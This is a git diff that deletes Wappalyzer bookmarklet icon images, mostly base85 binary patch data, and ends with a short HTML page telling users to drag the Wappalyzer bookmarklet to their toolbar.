zkK`em>cc;lG4g7ZDK)ES&j5Q_UIxAQmkhvo-7;gyuY;s@q&m7`U##FXvOv{e#)gUi zL%N+q{wbK>7RLN9e9JbyM<7@w*LB(@^S}hrG8^0VrgkKpGJ>^nx? zdw!8N(!qD<^3<_vj(J82Jz0b0o$h(1sKM0000#Mf08j1#=r0Pug(*;?=tnS=dVA(9SSsc?us2sfwO@&ym%Yo#xH(wcm>MEw} z1sW+AcMzxn69L76PReN6SUq7wb^m$>AYU$a9|+;l0MP?i#sJ|HPcq;#6&C^kbVRSD Ti=L0h00000NkvXXu0mjfLL0NK diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/phpDocumentor.png b/Wappalyzer/drivers/bookmarklet/images/icons/phpDocumentor.png deleted file mode 100644 index 5137ddb38a8e4ea61315172a93dfc97169021675..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 367 zcmV-#0g(QQP)rBwE+0WK zAVD!8b7D(#W?6M;Sa@bmdUHs9S3G}hREKq1je1^{f@GD0Vwi_$n2&~`c~+#6aH^Mf zv!Z{rqkpw`O}C_iysC%4ySKx%mq9Th&cB?`%g55iqu02U+0nAx(6Qav(ci$G;^NBc zkg+biv(C|azP%S;xyP9Pv*Rm zl*C}UyQ{WBp5)_p=;=zG@0mUHY=&&KZ-=OQc1Q)Ni&4d1tROuk887F02GPr(rIi2x N002ovPDHLkV1jpLn)3hv diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/phpMyAdmin.png b/Wappalyzer/drivers/bookmarklet/images/icons/phpMyAdmin.png deleted file mode 100644 index 42b3c79e278067654878a5049773a082364887ff..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 468 zcmV;_0W1EAP)J{x!J_@-w>_-=)s5?w9!VBIeF_sm-iKZT($CjUH<3t-e@%mUGad@m|L9_nX)1B^8}wc##_c-&io z!Cci;l zq}SAww6nf|^h{r#=5kET7CbiwxrlxHlcj=HMHr4dhVDNYv-uA*u<#I&2`p`k?%nlh09~l{3~z9654?g{gVQiWMsYI<#Dlg#1xbQrhjVe=#&CwfXH~ z{8=5<#;!DqUwePH8aQx`G<=UzVd1?%vU4}MMy6>`V89ltdUb%W{={*Z3 zfw}KiibW-_|I6f%X8*$}dz<)d6+SKACXMB{1x(}4*y^8paK!AL?0t!QH|(s;-|?uk jr62s@nO!5yRByw0d~Oh1^kRo7kUuV zF(|}g7{~EH3GlHDDjzq0Q|m znB-$*Fpoo2w0?>Xe{(Zdlu*V@oj(}In{x7Kv%xVuDwv8nVoEtLn6QD`zq`*&V+u*M zcm+D~q}-eh z?DpGXs}YUKDv8Jx>GaLt@VBPcLA>E^-0!P^!5hx&tB=bXu-i?-p=rvLx|0d!JMQvg8b*k%9#0IW$wK~#8NP03Y`#6S=OP*+2kX_y(8neqNdnrdYu z?fbA~8_*B`Xzqz-o%LQDNdjjmg%Fl)4~20FqK#C_4C?&x$#ZxhUv76^p#n1Cb69eu z3aa6(W1he2JilO7hVo)gtbM$WqIbNOET*{o^&PPv{4QBcCc|DY{D3=1)0F)2p>o~o zYV4wab9;ABLBD}1%P5;RFku0GP8w)&c=Xov7BI_m$`*NTh7$;s7P(27Nf!VB002ov JPDHLkV1j3M=)nL0 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/prettyPhoto.png b/Wappalyzer/drivers/bookmarklet/images/icons/prettyPhoto.png deleted file mode 100644 index 47f91317a15614ed9057f0f7d8fd9fcbbbeedabf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 139 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE1|*BCs=ffJAWs*^kcwN$U&<1GoHb}@=uB*2 zzopr05s(-q5uE@ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/punBB.png b/Wappalyzer/drivers/bookmarklet/images/icons/punBB.png deleted file mode 100644 index f45aeea7bcc19a36604898290816b7dce529f862..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 295 zcmV+?0oeYDP)Hoya_aDm)b~8AK{GVoE z-1vW5<^MHX|A+cBB)NRqV$lA7hWoF1hNer4%@|G_6#YN>W1d04-^nI+HrBBW3>$Py z{$De)v6%cT$I`;>8qk{c`n5loTA29%>(=+W2zJO$y|Vx7d~ZK=^|%Rj>Uy2>?>`^- tIKlWp5rdE-C;JNw2(ZJ;EdCmp1pw+*T&m#OHpu`0002ovPDHLkV1iO-j5PoN diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/reCAPTCHA.png b/Wappalyzer/drivers/bookmarklet/images/icons/reCAPTCHA.png deleted file mode 100644 index 819a4b26a1c939fc861f605a05cc7e762469f59a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 607 zcmV-l0-*hgP)G4N)gGMYC{DTA-fw&P$>jSl#&v> zNQoj6_@-uSO|x_V>}_uS8t%?H=bM>x&pnqAgO}e$GC(nC0i$4oF$fw#0dNwlFF36S z=imkWO85bfU<(vl5x4|gXatq90J1~;)zRJ48{7-NA_yMj71a8iq>TOFBn|9ylLSoK z&~SPS_P{!udjy_!3To0?`If|Z5-Ul?Xb-rE4Mh7XPGZ9t4~oFPX#x0gDvZ$*$Tg5V z<>1Va0A}D;o48|xlGjyf&Z@b@3GBK`7?E5vH`;68%j+aS-1I?)EMz?+Vs^b6^jinp{_AvfsP tPZp>Iy<_cc6CzT6YC2UPoUL1TS|K>nL2(Rvvs>Q82{5&!Y3=8BWdmq0${{v_OgQu&X J%Q~loCIDTDBKZIS diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/sNews.png b/Wappalyzer/drivers/bookmarklet/images/icons/sNews.png deleted file mode 100644 index 50907f35e5139397601005b0de77c58dd14da4cf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 270 zcmV+p0rCEcP)FLOX}rEfMdR8^Ppx U{2nKp&j0`b07*qoM6N<$f*^2sL;wH) diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/script.aculo.us.png b/Wappalyzer/drivers/bookmarklet/images/icons/script.aculo.us.png deleted file mode 100644 index 212621c7e935f59df2c14ebcbe0ea2670f62c224..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 542 zcmV+(0^$9MP)q{b07{TbDrc9}}?CvZ@kXc0K z+IH7&K)vUjajK7d`0?QPNKH3S;gSStqgv9*A$0(j<| zF)54Bm2>=WFAyIl(+{BNvrhxqvDSh5LN?ly{>+%^BY7NPgiS6l$u-+4GL++U2_u<;Z zQ)xD3^TZ55CKse_2*Crv?68}RyzzF#COd$w{Nl~s+4GwtAB7=YmA`ru9W0RS1mzM& zPx#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02*{fSaefwW^{L9 za%BKeVQFr3E>1;MAa*k@H7+qRNAp5A000DjNklNa|+;d{c9r57!_}K09`92b9Omm-1_k&0{ z_6tdKpG;pK4?&fP02OEZe}GM8pjcRMB_J&=Egp>K{tS%${r$&BM@L<>>FMd|+k=CH z%#o3iuQ)RyC;_RdsWPorTc4hu?g#(DxLT=H29D6~?ruIDf8aMpg8d0(a%MtM0yyU% zI01e{;dcnoaONBFz~yoo+09Q*PR>XK7YRuL%*j6!bEip3Nx4`f30Ze{cd^IgdB-{s zL_$&kdvcyCmC6|&9v(0P1Z8DqW$oVH-h0*wMPh4fD+_C`2?z}h)#CIf)-ghVk&=?K zif>5#6LJs;GEiwUnO=#BI6ORbXJlmPyk74aKS$&E_;>@H`B(wuTqcthV$Ud0n9P!R z1gc9)N=&Q>yplgEDk@&&=jR*x`}=J~8Yd(q)Iz{H?^tkhiWoV+H7F8lHWHhgn+}CS zp@dBVYB?$*BO_mEG@8Hu>&aPABrbDeeSQ7S#KeR{E|&}MlI%o+JS;4%08h=GoSghC z{to`+%gf8rc>lkE(=6B4)*R#GIPpsn0;aM2GI~!|R#qm(oC>+U zz5Q-%Y%E|Q!ToEo`EO!Qg)A&AbYb~r2aUE`tzA1iJED$xE-fv+$<58BE09D)M8wm) zyga9vQz3J5a;#WRR~8~e;(Uv2e_dZ+KXMZX1_rFXy}d8#gPUM98Xwix)*8#p%STWV zZzQ7hIwmIOJACq(zN3~)36ua*IlV%iPWQ}avrRjlPCs#BVd3Y|(NS7|1rQn4*4Ae4 z?CkUt>+0&J@f0ay*Y*U-7lr>yyQdm|jgym;HiyG;&I?#vT=e0}p2KzpaQH)ed;1wL zprfPXys4?l29xN%pfskYrXuI&=B&J9p7Znb@9`un2L}h;=#C$WLqkJuRLvg|fxmeH zJX>2^tPIcsi|?X0>E<;!EGBDbicE+vliAd z?*5{$ua9awC6AUBKyzfPuC89iRa~$_T3T8xNYZP$a}5@YMQ^v;y{rIoj@Lr9ot}+vE&daRK~V`F2^%*@PN-m&21d~K%$Qi%wl>?Rwn$zmgcggiuj zpy){ho$edlvt8umd=CgDfYwB@k*KPwvY|+QuK!Y?PNy*#3|;7g)PSh|3%gn%0X*oN z%(`OLo7}wCnO}SV1M*KC22z3 zCeyMH`_|wPd8}yHe&kd&E~yBCXQLnK;xk3E5m~3qi-aBJV?69GwBC!LD~a$ z?Hb-Kg5jk?rxBhSE2`jkm_$8e!dqbj!o~vnsVzX7uC&LMG=NGV=Gdw$$&7+oZ zc%xJTXK5Kv^Ns)edCC%`(inVrXO#!=GHjG*%4M_stJbX9WnmbP0l+XkKUh-w` diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/thttpd.png b/Wappalyzer/drivers/bookmarklet/images/icons/thttpd.png deleted file mode 100644 index d7a9bbcaae7335afe9575917e4cd6f8885f03e15..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 124 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!D3?x-;bCrM;TYyi9E0CUfX68=IP9Y%6(9^{+ zgyVYhkN@)-IbOXtyds~HFd=`l1c_-8s5X$yZpzT6X+Y2FvSz!Wl UmvvpX05vmsy85}Sb4q9e0E1;E#{d8T diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/total.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/total.js.png deleted file mode 100644 index bbe253966e885ca23a7f32cde99e071eeb5b8e31..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 176 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/webEdition.png b/Wappalyzer/drivers/bookmarklet/images/icons/webEdition.png deleted file mode 100644 index b85cb6631e0d26b86f38d2724334724415ce2360..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 418 zcmV;T0bTxyP)b%6AAi4pu-^c0zc7!$0AH|AkicJ`z+a!xV4%=%pwFMc;Goao(BSY7aKFFM z?=OJB5OBYLug?HquYkYbFMz)QaKCS$&~UHMAAi7buiqemzu)ih;P3zM@9$ur&yc^+ zzu)h`-|x@h@X+7jKaapbkidYj-yna#kH6ngkiek8-yna$uh8#su-}lt;9#K7P@lj+ zkk9Y%|M2kekH6rdF;`Cj0004WQchCV&_1-YfbyHTTx5clvR z>ok}$e>9>3q+77WE&AbE-hGrjhd-Xtg)LuzUv6Lt&MoiQe*gdg M07*qoM6N<$f=qYIo&W#< diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/xCharts.png b/Wappalyzer/drivers/bookmarklet/images/icons/xCharts.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/xtCommerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/xtCommerce.png deleted file mode 100644 index 37ad901bdfaac001849b4f0d555ec36a4e1fe778..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1092 zcmV-K1iSl*P)S78eC+F%&5^AQrK;NzTc6pXdH6XK+X0`ghQ>68b4birkO&FEOMJ9KV&K+YH~ ze7_BT81`e*by$sZ%LB|xceJ=(1rTjV2OY4bEP9kKno2O6ch_v?A%}1L`#vYN z>Sx_uJY%wM6f;Ud`CUEfQvf+(Y0b0Yh*G*<5Un@AY}cH%>1o}24AwH6Yp@7Y1zlyZ z5~b|)?!JZ>&7MfvXEvnvwoHtPkIfJJBtX`EUUy84HLEJiut;;gFP-lPt)&@bZ>d2O zE3{BbsvE0}6|K!Qz~jo#!=j3cUXdzS+vJIS+-6R>v$}6;21qFg`)hIzSK6*vnT*Ej zf=Vd#rYwvaJt&NfpsBe#HJ0CocUGb4J*LL!-5yJKKXwznMJd%8+TfzuQ(&oTw%=?- z%;suZni^JCp{m(z^vtG;YJgxTOOI5y5u#|N5)r4v-I!Y$(9Nb+UYciL2e4~f_n8bn zn&z_hpKqVj4Ara|JlLC$RC9mgN&^7=0^h4yOGK!Ut~Y{0dNWv9x9eeC2SCRQDbHcY z>y^=EJcsA8YHo7vs7H-{uQXjWRm~7mRFAZ-GI$if@fM9n zrBq$ehAPr^B~@k|AGpU&vW<>H&=E0cea9hi%^meOLj(Bm zb?<1i6BVlrMqRI2D%8rEKKf~9RYe$4)eR{Z-DI_>@G{+1%UMfdJX<=P@z>f1=aQH z)@!gatQ^`{*=S(XE8hl8;k-zip`ulnT9|YXjypaGfULIt*sN7k zne`$DVx(}J%XSChpDz2MdujWjxt7sRCVMwVPhQ!y z4uDHW7sa-+rmUMVSW`BNU~R1UQ_8(n$}G?uZIGJ01OT|I`-E0058S zJC@#S*Sjo58Qky(&2|>9jQGdi{(CQbbN;foH_*Jznzz~QfPVpp9P*QeY*elQ0000< KMNUMnLSTaUC=HPS diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/xui.png b/Wappalyzer/drivers/bookmarklet/images/icons/xui.png deleted file mode 100644 index eb4ff5b39895a946654c3dbbb4763f9c034ac9f7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 600 zcmV-e0;m0nP)+Tq+@#%cD>z zpxJtlbUKZ-S1+-$au2tP%lPo|6J;czl!C=7T?7PFKE$Gc$O6lL%+AdFw4JPxh_Zm6$>FqBQ@GLoSc|OUQX$zI!n_0 zOL?A5VOFJ#-;buJW>`^tp<>nJvhf6g1&|6dte-ypBJ$O#KaZa@2SznDBOqqMjClx` znCiQA=Hp}Mj-L4W#OFqI1}b53fwbT)@V)uLkzhFJ@$17^B5uGYI9KDTK)t}7_G{&< z0&XK!xv@47F0?HsUc3WF90>1i8R;KUb$z@elA4YSmB=aDVtzoBN*I&ZyW`PV!WQd~ z954k5$qZgh03dB4w{S(p&gQb>&~PL&bn%LhU^y|($0cyTr#Cq?V$CFqnl_be-XKlb zfDxQ$4$c*@LP#Q4ScHNt!TlqP42i~y=X=KPE0I_MK zXnjpixHK{L@P6d#y$kI=A_fs8F*AsX?6jP{I}%I8b3@^(UCnVD0uW0Ps1j1L+of#S z(;A;k&iymqdGThnx_yhgVC4#5 zK#o6paO0+%GDjrA0}Ng62;~=eN`m2*rWiv3gXNMUvK+5zVP(~7e`(0l)Zn_+!#BEf z0E-}rSRtM>FgYEYn=Rbdpn7x21~CY<#2G*^GQ<2&;L~)Lw|+mLOq+^;DWDT3ZuXBx zI@7AF@x6m_Ku9JyEHNSiAf?H8&vC zier`|rta1sb$0ih{&Bp2pkVcy+=e=Xu{Z+RU_uON zIJ9q;5u1$01_nBR`L(pBs$$1B|Nr^$%L<6W7JGw%s<&HWqvPT7P;POd;_><`!%2cf z7S!wl01Sgsv%7Wh`?I}0y|v9d(u%vd@ijxTz{^MEq$EuQ%8QD&HdIzt&Bo%IKR=M4 z2g!If9RRjdsMuWJak(Q(llzZ;lyb!2S0a#*0s`o3yOv6%*1grdvc5WLgP8D=5%J^w z?pE<|V07$Kr|`J*>ehJNIwT8;WeOM|X8{nABv>x;16RH|t+DATD=lekOv3>rmirEf z2@10}Z3a{d80ibAz8m=Cd||jq^Lh)`tu<{H?DV(nh}+;8Lu)R8DPm)#1G*qrn+&~)8oI;u*txPHl o7Bs)GfCwN+2_e7|&m^nkUu)b$+Qe0}yZ`_I07*qoM6N<$f+qTeDgXcg diff --git a/Wappalyzer/drivers/bookmarklet/images/pending.gif b/Wappalyzer/drivers/bookmarklet/images/pending.gif deleted file mode 100644 index 3864c07973d33d77d6c4434367cfc7b1f460e97a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3956 zcmbW3X;f2p9)@ogvJgmaLV%EkECdoDY}Ugl#SW6~CIp5hP+>%p6iN)K)ffiIbvmW_l5h7U_j%s; z{i!voRjZ8xNC54Fpp`3DwzsxlxO5@&#mu{ZzN=5vmzS0g93N0bE3W8`fJlS?_;yzpl1!@bsWgtDCzuxA1VGX;;(0(SeoWE4ws@_{zPz%0@Z_LErI@=hxA4z}riP~8!@Wh@i!MxDhmr_?9O*TySX1c%}<;32{XcoG48%N8HF_%|WK!=YW95gGfnu`b)VHRA2q zvzgz#nIciR=%x8kxZ_?k%Miw#I=pI7_~KBt{IkGKv}bbU<9G5MS2L{{(zFk+2+PSzMff`c3U!nk z3=&vFkCT{$NV{PomT0}C##?>j@{L~aRU663Iyr8K4Ph8KS5$uP(PJjO=7<$mGdb=o zSq)BW|ISNznAA^vI69qp!@z^wUCPOOUcXJN^?Ny@L=b(K=D_k>4Wa$2&tX$3D{8gF zT&599uih>DW_Yx^IVd8pmF#rJ%~=FfNxbbHrK3SeV?g>ulLr3jYpOt903rY#ba6VM z!($ihd3K-!5Mh1VdQ^(hkwqPV2*3yc9B>9k02hjii+~P51V9y)0&oUW03Co7z%L-h zqBu)N01JQ=KnLIys>Y&a&qV^=fEQieUCZ(UU~XB$jO>km!y54{>HN4RXj3#4HP?S2 z#kgBGw1QsHM%%)gkKl*#hthV7T4#E9r4 zx#@!~(lA$FZH3SJ;bHC#&}wA2^_p7Pb1tHIH2>fVzdma^m&TKXUg(%ip2J* z#>*ytKExWL<7hb*;c9>3l>f7+^JjxKX6Fn{hUhHY@Ifct`jOr;i0P|53Zi;X19}h zil(`%jb$E%ik(=vrD-g-JGL-7oq_-VQ3sqs+R@qvv_Z~6EPqMVf12|rfdkYa?T@1l zat^BDsZsxxv_Ye19^GU0OZMD9P<^MPTkTqVroN}#Wym>(+X6dQb~J9WL)9U9Und;7 zcW(hRX*uwxyb}K;8NAWqi^Vbvwm~6r(qapp!Il#mx4jTc-yu=S^69c>t)L3(P>~^D z&hv>*7OYx|CE60%z6H3{%xE7=P zY@cB-OX0czF-y&Og^)zxyw6Yte6^8&p39gkP$?>E^xW1C5?$&|hyA&}t5QVCM7(FD zZZk}PA?G{o`6T?gXJ&(uEQ2rQaz00tdDK;)sKEKZt66a>1uMZ!v3%;uH3E zC#P+J3~|~KL9OUwBaurenjzK2D_##(zZ3rXOfV}7%G3JL3b|q|R`9a*|PJ#QOrA$Y7$+=h!`i9gA)@6nyLZ4J*48^w$aX3bQaSps8O8AOZ> zXww|)juo%{*{%jO!B7JzC{RFi@m5>fYCsL}1vJ521E8R;(P{;x&=N+O0!-*)15AK8 zC|)qyKlU~to2XwLg35A`WIz@@-4@$n!+O9PkOjL9;4W*cL07-|A2e@de{!eJJK^U3 zy``Ab0$5UV@vy=G-JVo2JA*yGqa`Cu#bXI2F`jSq89h}D3mmW$ zA!4Mb^4Ka)o`LC~r3!J!ZuC)kpK52dXeoZ7vYC%Qmbo6+(gIaSrXjyW%2}CTZd7&5 ziVs>bTlh%d+J0!9;)K=C8INXr*0J2GTnv4EYa1auY$nl%G3O&7L~!bhD9_$zX5vjBV|>vyPc3eF>v7Hj-Mxuo@7sw2AIK12f0N_qgNRk z-NgeOkXs`CIJ#*2qL|Uc>_^N?hZ(?(W*80d_am@`8NJQW3@L347GLQC`H1iJc2z#q{VJm|q&9Okzf|xA1NK_H#C)k=H zhzam?*0Fs``D{&q#OS|EQc6JHDtRNu-2hj~yEj5T8Xi7JraWTLIEv6pF$y*whWRD@ z5ZFuWZ}3G#rGZ)^nI7uMkc86dlX7;hBt`~XOD&;63f`>@N{s8dlk~5YX5$B6f15$y zsSw|;HjJ2d|5iLOI{Z2D=G$~?i9p)-n^6T_sl#?Xa6mW`nFb|?ek+)IPv>)tnQuJb z)mo9D%ZK0n8dq1cx!exd51*mpV3}-=s~zb1aIf;`@2+KK8Ju3AnSYvPP|nK;GC0+r z7GzKqzZ~*^XE}av?HT%-PAwUl$MiBj?NKYN*7ts|7`|B~mO6%~%I<9Xi~n((v0x@i z;e}=9rSqM)D}%+@>}=Riq zqspEw^$iKrc;n6Qs{PC%R+=iTFofz8XO%uf!QW--XZsG;)KFL58=S6DR##!9 U5d% - - - - - - Wappalyzer - - - - - - -

- Drag this button to your bookmarks toolbar: -

- -

- Wappalyzer -

- -

- Note: this is a beta version and may stop working at some point. Check back here for a new version if this happens. -

